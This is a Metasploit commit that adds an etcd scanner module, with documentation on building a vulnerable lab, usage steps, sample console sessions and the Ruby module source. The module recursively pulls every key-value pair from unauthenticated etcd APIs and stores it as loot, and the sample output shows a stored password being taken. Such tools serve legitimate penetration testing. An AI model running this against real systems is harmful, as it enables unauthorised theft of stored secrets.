Land #9760, @h00die's etcd scanner
commit
a1e83ce835
|
@ -0,0 +1,108 @@
|
|||
## Vulnerable Application
|
||||
|
||||
etcd is a distributed reliable key-value store, which when used in an open and default configuration gives
|
||||
unauthenticated users access to the data stored via HTTP API.
|
||||
|
||||
### Centos 7.1
|
||||
|
||||
1. `yum install etcd`
|
||||
2. `vi /etc/etcd/etcd.conf` replace (and uncomment) items with `localhost` for your IP.
|
||||
3. `systemctl start etcd; systemctl enable etcd`
|
||||
4. On Centos 7.1 you need to mod (or disable) the firewall: `systemctl stop firewalld`
|
||||
5. Lastly, lets add a key-value for interest: `curl http://[IP]:2379/v2/keys/supersecret -XPUT -d value="password!"`
|
||||
|
||||
### Docker
|
||||
|
||||
1. `docker run -p 2379:2379 miguelgrinberg/easy-etcd`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/etcd/open_key_scanner```
|
||||
4. Do: ```set rhosts [IPs]```
|
||||
5. Do: ```run```
|
||||
6. You should get a JSON response, and the data saved to `loot`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### etcd 3.2.15 on CentOS 7.1
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/etcd/open_key_scanner
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||
|
||||
[+] 2.2.2.2:2379
|
||||
Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
|
||||
Data: {
|
||||
"action": "get",
|
||||
"node": {
|
||||
"dir": true,
|
||||
"nodes": [
|
||||
{
|
||||
"key": "/supersecret",
|
||||
"value": "password",
|
||||
"modifiedIndex": 6,
|
||||
"createdIndex": 6
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
2.2.2.2 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_2.2.2.2_etcd.data_425280.txt
|
||||
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
2.2.2.2 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
|
||||
```
|
||||
|
||||
### etcd in Docker
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/etcd/open_key_scanner
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||
|
||||
[+] 127.0.0.1:2379
|
||||
Version: {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
|
||||
Data: {
|
||||
"action": "get",
|
||||
"node": {
|
||||
"dir": true
|
||||
}
|
||||
}
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
127.0.0.1 etcd.data etcd.keys text/json etcd keys /root/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt
|
||||
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
127.0.0.1 2379 tcp etcd open {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
|
||||
```
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Etcd Keys API Information Gathering',
|
||||
'Description' => %q(
|
||||
This module queries the etcd API to recursively retrieve all of the stored
|
||||
key value pairs. Etcd by default does not utilize authentication.
|
||||
),
|
||||
'References' => [
|
||||
['URL', 'https://elweb.co/the-security-footgun-in-etcd']
|
||||
],
|
||||
'Author' => [
|
||||
'Giovanni Collazo <hello@gcollazo.com>', # discovery
|
||||
'h00die' # msf module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2379),
|
||||
OptString.new('TARGETURI', [true, 'URI of the vulnerable service', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(_target_host)
|
||||
path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true')
|
||||
|
||||
vprint_status("#{peer} - Collecting data through #{path}...")
|
||||
res = send_request_raw(
|
||||
'uri' => path,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# parse the json if we got a good request back
|
||||
if res && res.code == 200
|
||||
begin
|
||||
response = res.get_json_document
|
||||
store_loot('etcd.data', 'text/json', rhost, response, 'etcd.keys', 'etcd keys')
|
||||
|
||||
# since we know its vulnerable, go ahead and pull the version information
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.to_s, 'version'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
banner = ''
|
||||
if res && res.code == 200
|
||||
banner = res.body
|
||||
end
|
||||
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: 'etcd',
|
||||
proto: 'tcp',
|
||||
info: banner
|
||||
)
|
||||
rescue JSON::ParserError => e
|
||||
print_error("Failed to read JSON: #{e.class} - #{e.message}}")
|
||||
return
|
||||
end
|
||||
print_good("#{peer}\nVersion: #{banner}\nData: #{JSON.pretty_generate(response)}")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue